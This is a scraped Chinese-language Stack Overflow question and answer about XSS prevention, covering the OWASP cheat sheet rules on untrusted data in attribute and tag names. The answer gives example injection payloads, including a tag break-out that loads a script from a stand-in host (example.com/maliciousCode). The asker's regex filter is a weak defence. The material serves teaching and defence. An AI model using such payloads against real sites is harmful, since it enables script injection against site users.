gpt4 book ai didi

javascript - 澄清 XSS(跨站脚本)预防备忘单中的规则之一

转载 作者:行者123 更新时间:2023-12-03 04:06:09 25 4
gpt4 key购买 nike

我正在尝试阻止我的网站上出现跨站点脚本。

最初我以为过滤<script...>alert(...)应该完成这项工作。

所以我使用了正则表达式:^((?!(<script.*>|alert\(.*\))) [\s\S])*$ .

但后来我读到了 this web page 上的一些规则,我意识到我还有很多事情要做。

所以我有几个问题:

首先(也在标题中提到),关于该网页的以下两条规则:

<div ...NEVER PUT UNTRUSTED DATA HERE...=test />    in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name

我接受吗test字符串原样,否则它到底代表什么?

第二个(更一般而言),this web page表示基于 XSS 的攻击种类几乎是无限的。所以我想知道您是否认为我正在一场失败的战斗中,尝试使用正则表达式来解决这个问题。

谢谢。

最佳答案

总体思想是将代码和数据分开。当您将不受信任的数据注入(inject)到作为代码处理的位置时,您就会遇到潜在的麻烦。 HTML 属性就是这样的情况,因为用户可以注入(inject)任何内容:

<img <?php echo $input; ?> src="...">
<img onload="downloadAndExecuteMaliciousCode()" src="...">
<img ><script src="http://example.com/maliciousCode"></script><img src="...">

关于javascript - 澄清 XSS(跨站脚本)预防备忘单中的规则之一,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44546996/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com